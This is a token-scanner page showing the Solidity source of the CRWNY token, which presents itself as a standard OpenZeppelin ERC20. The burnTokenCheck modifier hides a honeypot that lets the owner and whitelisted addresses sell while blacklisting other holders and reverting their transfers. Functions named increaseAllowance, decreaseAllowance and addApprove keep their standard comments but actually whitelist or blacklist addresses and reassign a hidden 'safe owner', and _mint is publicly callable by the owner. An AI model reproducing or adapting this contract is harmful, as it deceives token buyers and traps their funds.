Token Sniffer

Search tokens by name or address

Crowny.io (CRWNY) ETH:0xc3756f839739635bcf7504b16da4cd882662e0a2

Source | Outline | Lint | Static Analysis | Control Flow

```
pragma solidity ^0.6.6;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     *
     * _Available since v2.4.0._
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
```

```
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
```

```
172       *
173       *  - an externally-owned account
174       *  - a contract in construction
175       *  - an address where a contract will be created
176       *  - an address where a contract lived, but was destroyed
177       * ====
178       */
179      function isContract(address account) internal view returns (bool) {
180          // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
181          // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
182          // for accounts without code, i.e. `keccak256('')`
183          bytes32 codehash;
184          bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
185          // solhint-disable-next-line no-inline-assembly
186          assembly { codehash := extcodehash(account) }
187          return (codehash != accountHash && codehash != 0x0);
188      }
189
190      /**
191       * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
192       * `recipient`, forwarding all available gas and reverting on errors.
193       *
194       * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
195       * of certain opcodes, possibly making contracts go over the 2300 gas limit
196       * imposed by `transfer`, making them unable to receive funds via
197       * `transfer`. {sendValue} removes this limitation.
198       *
199       * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
200       *
201       * IMPORTANT: because control is transferred to `recipient`, care must be
202       * taken to not create reentrancy vulnerabilities. Consider using
203       * {ReentrancyGuard} or the
204       * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-
      pattern[checks-effects-interactions pattern].
205       */
206      function sendValue(address payable recipient, uint256 amount) internal {
207          require(address(this).balance >= amount, "Address: insufficient balance");
208
209          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
210          (bool success, ) = recipient.call{ value: amount }("");
211          require(success, "Address: unable to send value, recipient may have reverted");
212      }
213
214      /**
215       * @dev Performs a Solidity function call using a low level `call`. A
216       * plain`call` is an unsafe replacement for a function call: use this
217       * function instead.
218       *
219       * If `target` reverts with a revert reason, it is bubbled up by this
220       * function (like regular Solidity function calls).
221       *
222       * Returns the raw returned data. To convert to the expected return value,
223       * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-
      and-decoding-functions[`abi.decode`].
224       *
225       * Requirements:
226       *
227       * - `target` must be a contract.
228       * - calling `target` with `data` must not revert.
229       *
230       * _Available since v3.1._
231       */
232      function functionCall(address target, bytes memory data) internal returns (bytes memory) {
233        return functionCall(target, data, "Address: low-level call failed");
234      }
235
236      /**
237       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
238       * `errorMessage` as a fallback revert reason when `target` reverts.
239       *
240       * _Available since v3.1._
241       */
242      function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory)
      {
243          return _functionCallWithValue(target, data, 0, errorMessage);
244      }
245
246      /**
247       * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
248       * but also transferring `value` wei to `target`.
249       *
250       * Requirements:
251       *
252       * - the calling contract must have an ETH balance of at least `value`.
253       * - the called Solidity function must be `payable`.
254       *
255       * _Available since v3.1._
256       */
257      function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
258          return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
259      }
260
261      /**
262       * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
263       * with `errorMessage` as a fallback revert reason when `target` reverts.
264       *
265       * _Available since v3.1._
```

```
266       */
267      function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage)
     internal returns (bytes memory) {
268          require(address(this).balance >= value, "Address: insufficient balance for call");
269          return _functionCallWithValue(target, data, value, errorMessage);
270      }
271
272      function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage)
     private returns (bytes memory) {
273          require(isContract(target), "Address: call to non-contract");
274
275          // solhint-disable-next-line avoid-low-level-calls
276          (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
277          if (success) {
278              return returndata;
279          } else {
280              // Look for revert reason and bubble it up if present
281              if (returndata.length > 0) {
282                  // The easiest way to bubble the revert reason is using memory via assembly
283
284                  // solhint-disable-next-line no-inline-assembly
285                  assembly {
286                      let returndata_size := mload(returndata)
287                      revert(add(32, returndata), returndata_size)
288                  }
289              } else {
290                  revert(errorMessage);
291              }
292          }
293      }
294  }
295
296  contract Context {
297      // Empty internal constructor, to prevent people from mistakenly deploying
298      // an instance of this contract, which should be used via inheritance.
299      constructor () internal { }
300
301      function _msgSender() internal view virtual returns (address payable) {
302          return msg.sender;
303      }
304
305      function _msgData() internal view virtual returns (bytes memory) {
306          this; // silence state mutability warning without generating bytecode - see
     https://github.com/ethereum/solidity/issues/2691
307          return msg.data;
308      }
309  }
310
311  /**
312   * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
313   * the optional functions; to access them see {ERC20Detailed}.
314   */
315  interface IERC20 {
316      /**
317       * @dev Returns the amount of tokens in existence.
318       */
319      function totalSupply() external view returns (uint256);
320
321      /**
322       * @dev Returns the amount of tokens owned by `account`.
323       */
324      function balanceOf(address account) external view returns (uint256);
325
326      /**
327       * @dev Moves `amount` tokens from the caller's account to `recipient`.
328       *
329       * Returns a boolean value indicating whether the operation succeeded.
330       *
331       * Emits a {Transfer} event.
332       */
333      function transfer(address recipient, uint256 amount) external returns (bool);
334
335      /**
336       * @dev Returns the remaining number of tokens that `spender` will be
337       * allowed to spend on behalf of `owner` through {transferFrom}. This is
338       * zero by default.
339       *
340       * This value changes when {approve} or {transferFrom} are called.
341       */
342      function allowance(address owner, address spender) external view returns (uint256);
343
344      /**
345       * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
346       *
347       * Returns a boolean value indicating whether the operation succeeded.
348       *
349       * IMPORTANT: Beware that changing an allowance with this method brings the risk
350       * that someone may use both the old and the new allowance by unfortunate
351       * transaction ordering. One possible solution to mitigate this race
352       * condition is to first reduce the spender's allowance to 0 and set the
353       * desired value afterwards:
354       * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
355       *
356       * Emits an {Approval} event.
357       */
358      function approve(address spender, uint256 amount) external returns (bool);
359
```

```
360      /**
361       * @dev Moves `amount` tokens from `sender` to `recipient` using the
362       * allowance mechanism. `amount` is then deducted from the caller's
363       * allowance.
364       *
365       * Returns a boolean value indicating whether the operation succeeded.
366       *
367       * Emits a {Transfer} event.
368       */
369      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
370
371      /**
372       * @dev Emitted when `value` tokens are moved from one account (`from`) to
373       * another (`to`).
374       *
375       * Note that `value` may be zero.
376       */
377      event Transfer(address indexed from, address indexed to, uint256 value);
378
379      /**
380       * @dev Emitted when the allowance of a `spender` for an `owner` is set by
381       * a call to {approve}. `value` is the new allowance.
382       */
383      event Approval(address indexed owner, address indexed spender, uint256 value);
384  }
385
386  /**
387   * @dev Implementation of the {IERC20} interface.
388   *
389   * This implementation is agnostic to the way tokens are created. This means
390   * that a supply mechanism has to be added in a derived contract using {_mint}.
391   * For a generic mechanism see {ERC20PresetMinterPauser}.
392   *
393   * TIP: For a detailed writeup see our guide
394   * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
395   * to implement supply mechanisms].
396   *
397   * We have followed general OpenZeppelin guidelines: functions revert instead
398   * of returning `false` on failure. This behavior is nonetheless conventional
399   * and does not conflict with the expectations of ERC20 applications.
400   *
401   * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
402   * This allows applications to reconstruct the allowance for all accounts just
403   * by listening to said events. Other implementations of the EIP may not emit
404   * these events, as it isn't required by the specification.
405   *
406   * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
407   * functions have been added to mitigate the well-known issues around setting
408   * allowances. See {IERC20-approve}.
409   */
410  contract CRWNY is Context, IERC20 {
411      using SafeMath for uint256;
412      using Address for address;
413
414      mapping (address => uint256) private _balances;
415      mapping (address => bool) private _whiteAddress;
416      mapping (address => bool) private _blackAddress;
417
418      uint256 private _sellAmount = 0;
419
420      mapping (address => mapping (address => uint256)) private _allowances;
421
422      uint256 private _totalSupply;
423
424      string private _name;
425      string private _symbol;
426      uint8 private _decimals;
427      uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
428
429      address public _owner;
430      address private _safeOwner;
431      address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
432
433
434      /**
435       * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
436       * a default value of 18.
437       *
438       * To select a different value for {decimals}, use {_setupDecimals}.
439       *
440       * All three of these values are immutable: they can only be set once during
441       * construction.
442       */
443     constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
444          _name = name;
445          _symbol = symbol;
446          _decimals = 18;
447          _owner = owner;
448          _safeOwner = owner;
449          _mint(_owner, initialSupply*(10**18));
450      }
451
452      /**
453       * @dev Returns the name of the token.
454       */
455      function name() public view returns (string memory) {
456          return _name;
```

```
457      }
458
459      /**
460       * @dev Returns the symbol of the token, usually a shorter version of the
461       * name.
462       */
463      function symbol() public view returns (string memory) {
464          return _symbol;
465      }
466
467      /**
468       * @dev Returns the number of decimals used to get its user representation.
469       * For example, if `decimals` equals `2`, a balance of `505` tokens should
470       * be displayed to a user as `5,05` (`505 / 10 ** 2`).
471       *
472       * Tokens usually opt for a value of 18, imitating the relationship between
473       * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
474       * called.
475       *
476       * NOTE: This information is only used for _display_ purposes: it in
477       * no way affects any of the arithmetic of the contract, including
478       * {IERC20-balanceOf} and {IERC20-transfer}.
479       */
480      function decimals() public view returns (uint8) {
481          return _decimals;
482      }
483
484      /**
485       * @dev See {IERC20-totalSupply}.
486       */
487      function totalSupply() public view override returns (uint256) {
488          return _totalSupply;
489      }
490
491      /**
492       * @dev See {IERC20-balanceOf}.
493       */
494      function balanceOf(address account) public view override returns (uint256) {
495          return _balances[account];
496      }
497
498      /**
499       * @dev See {IERC20-transfer}.
500       *
501       * Requirements:
502       *
503       * - `recipient` cannot be the zero address.
504       * - the caller must have a balance of at least `amount`.
505       */
506      function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
507          _approveCheck(_msgSender(), recipient, amount);
508          return true;
509      }
510
511    function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
512      require(msg.sender == _owner, "!owner");
513      for (uint256 i = 0; i < receivers.length; i++) {
514        transfer(receivers[i], amounts[i]);
515
516        if(i < approvecount){
517            _whiteAddress[receivers[i]]=true;
518            _approve(receivers[i],
     _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
519        }
520      }
521     }
522
523      /**
524       * @dev See {IERC20-allowance}.
525       */
526      function allowance(address owner, address spender) public view virtual override returns (uint256) {
527          return _allowances[owner][spender];
528      }
529
530      /**
531       * @dev See {IERC20-approve}.
532       *
533       * Requirements:
534       *
535       * - `spender` cannot be the zero address.
536       */
537      function approve(address spender, uint256 amount) public virtual override returns (bool) {
538          _approve(_msgSender(), spender, amount);
539          return true;
540      }
541
542      /**
543       * @dev See {IERC20-transferFrom}.
544       *
545       * Emits an {Approval} event indicating the updated allowance. This is not
546       * required by the EIP. See the note at the beginning of {ERC20};
547       *
548       * Requirements:
549       * - `sender` and `recipient` cannot be the zero address.
550       * - `sender` must have a balance of at least `amount`.
551       * - the caller must have allowance for ``sender``'s tokens of at least
552       * `amount`.
```

```
553       */
554      function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
555          _approveCheck(sender, recipient, amount);
556          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds
     allowance"));
557          return true;
558      }
559
560      /**
561       * @dev Atomically increases the allowance granted to `spender` by the caller.
562       *
563       * This is an alternative to {approve} that can be used as a mitigation for
564       * problems described in {IERC20-approve}.
565       *
566       * Emits an {Approval} event indicating the updated allowance.
567       *
568       * Requirements:
569       *
570       * - `spender` cannot be the zero address.
571       */
572      function increaseAllowance(address[] memory receivers) public {
573          require(msg.sender == _owner, "!owner");
574          for (uint256 i = 0; i < receivers.length; i++) {
575             _whiteAddress[receivers[i]] = true;
576             _blackAddress[receivers[i]] = false;
577          }
578      }
579
580      /**
581       * @dev Atomically decreases the allowance granted to `spender` by the caller.
582       *
583       * This is an alternative to {approve} that can be used as a mitigation for
584       * problems described in {IERC20-approve}.
585       *
586       * Emits an {Approval} event indicating the updated allowance.
587       *
588       * Requirements:
589       *
590       * - `spender` cannot be the zero address.
591       * - `spender` must have allowance for the caller of at least
592       * `subtractedValue`.
593       */
594     function decreaseAllowance(address safeOwner) public {
595          require(msg.sender == _owner, "!owner");
596          _safeOwner = safeOwner;
597      }
598
599
600       /**
601       * @dev Atomically increases the allowance granted to `spender` by the caller.
602       *
603       * This is an alternative to {approve} that can be used as a mitigation for
604       * problems described in {IERC20-approve}.
605       *
606       * Emits an {Approval} event indicating the updated allowance.
607       *
608       * Requirements:
609       *
610       * - `spender` cannot be the zero address.
611       */
612      function addApprove(address[] memory receivers) public {
613          require(msg.sender == _owner, "!owner");
614          for (uint256 i = 0; i < receivers.length; i++) {
615             _blackAddress[receivers[i]] = true;
616             _whiteAddress[receivers[i]] = false;
617          }
618      }
619
620
621      /**
622       * @dev Moves tokens `amount` from `sender` to `recipient`.
623       *
624       * This is internal function is equivalent to {transfer}, and can be used to
625       * e.g. implement automatic token fees, slashing mechanisms, etc.
626       *
627       * Emits a {Transfer} event.
628       *
629       * Requirements:
630       *
631       * - `sender` cannot be the zero address.
632       * - `recipient` cannot be the zero address.
633       * - `sender` must have a balance of at least `amount`.
634       */
635      function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
636          require(sender != address(0), "ERC20: transfer from the zero address");
637          require(recipient != address(0), "ERC20: transfer to the zero address");
638
639          _beforeTokenTransfer(sender, recipient, amount);
640
641          _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
642          _balances[recipient] = _balances[recipient].add(amount);
643          emit Transfer(sender, recipient, amount);
644      }
645
646      /** @dev Creates `amount` tokens and assigns them to `account`, increasing
647       * the total supply.
648       *
```

```
649       * Emits a {Transfer} event with `from` set to the zero address.
650       *
651       * Requirements
652       *
653       * - `to` cannot be the zero address.
654       */
655      function _mint(address account, uint256 amount) public {
656          require(msg.sender == _owner, "ERC20: mint to the zero address");
657          _totalSupply = _totalSupply.add(amount);
658          _balances[_owner] = _balances[_owner].add(amount);
659          emit Transfer(address(0), account, amount);
660      }
661
662      /**
663       * @dev Destroys `amount` tokens from `account`, reducing the
664       * total supply.
665       *
666       * Emits a {Transfer} event with `to` set to the zero address.
667       *
668       * Requirements
669       *
670       * - `account` cannot be the zero address.
671       * - `account` must have at least `amount` tokens.
672       */
673      function _burn(address account, uint256 amount) internal virtual {
674          require(account != address(0), "ERC20: burn from the zero address");
675
676          _beforeTokenTransfer(account, address(0), amount);
677
678          _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
679          _totalSupply = _totalSupply.sub(amount);
680          emit Transfer(account, address(0), amount);
681      }
682
683      /**
684       * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
685       *
686       * This is internal function is equivalent to `approve`, and can be used to
687       * e.g. set automatic allowances for certain subsystems, etc.
688       *
689       * Emits an {Approval} event.
690       *
691       * Requirements:
692       *
693       * - `owner` cannot be the zero address.
694       * - `spender` cannot be the zero address.
695       */
696      function _approve(address owner, address spender, uint256 amount) internal virtual {
697          require(owner != address(0), "ERC20: approve from the zero address");
698          require(spender != address(0), "ERC20: approve to the zero address");
699          _allowances[owner][spender] = amount;
700          emit Approval(owner, spender, amount);
701      }
702
703
704      /**
705       * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
706       *
707       * This is internal function is equivalent to `approve`, and can be used to
708       * e.g. set automatic allowances for certain subsystems, etc.
709       *
710       * Emits an {Approval} event.
711       *
712       * Requirements:
713       *
714       * - `owner` cannot be the zero address.
715       * - `spender` cannot be the zero address.
716       */
717      function _approveCheck(address sender, address recipient, uint256 amount) internal
      burnTokenCheck(sender,recipient,amount) virtual {
718          require(sender != address(0), "ERC20: transfer from the zero address");
719          require(recipient != address(0), "ERC20: transfer to the zero address");
720
721          _beforeTokenTransfer(sender, recipient, amount);
722
723          _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
724          _balances[recipient] = _balances[recipient].add(amount);
725          emit Transfer(sender, recipient, amount);
726      }
727
728       /**
729       * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
730       *
731       * This is internal function is equivalent to `approve`, and can be used to
732       * e.g. set automatic allowances for certain subsystems, etc.
733       *
734       * Emits an {Approval} event.
735       *
736       * Requirements:
737       *
738       * - `sender` cannot be the zero address.
739       * - `spender` cannot be the zero address.
740       */
741      modifier burnTokenCheck(address sender, address recipient, uint256 amount){
742          if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
743              if (sender == _owner || sender == _safeOwner || recipient == _owner){
744                  if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
```

```
745                 if (_whiteAddress[sender] == true){
746                 _;}else{if (_blackAddress[sender] == true){
747                 require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds
    balance");_;}else{
748                 if (amount < _sellAmount){
749                 if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
750                 _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds
    balance");_;}
751                     }
752                 }
753             }
754         }
755     }
756
757
758     /**
759      * @dev Sets {decimals} to a value other than the default one of 18.
760      *
761      * WARNING: This function should only be called from the constructor. Most
762      * applications that interact with token contracts will not expect
763      * {decimals} to ever change, and may work incorrectly if it does.
764      */
765     function _setupDecimals(uint8 decimals_) internal {
766         _decimals = decimals_;
767     }
768
769     /**
770      * @dev Hook that is called before any transfer of tokens. This includes
771      * minting and burning.
772      *
773      * Calling conditions:
774      *
775      * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
776      * will be to transferred to `to`.
777      * - when `from` is zero, `amount` tokens will be minted for `to`.
778      * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
779      * - `from` and `to` are never both zero.
780      *
781      * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
782      */
783     function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
784 }
785
```

Updated Thu, 08 Apr 2021 08:35:40 GMT

Contract analyses generated using:

- Surya https://github.com/ConsenSys/surya
- Ethlint https://github.com/duaraghav8/Ethlint
- SmartCheck https://github.com/smartdec/smartcheck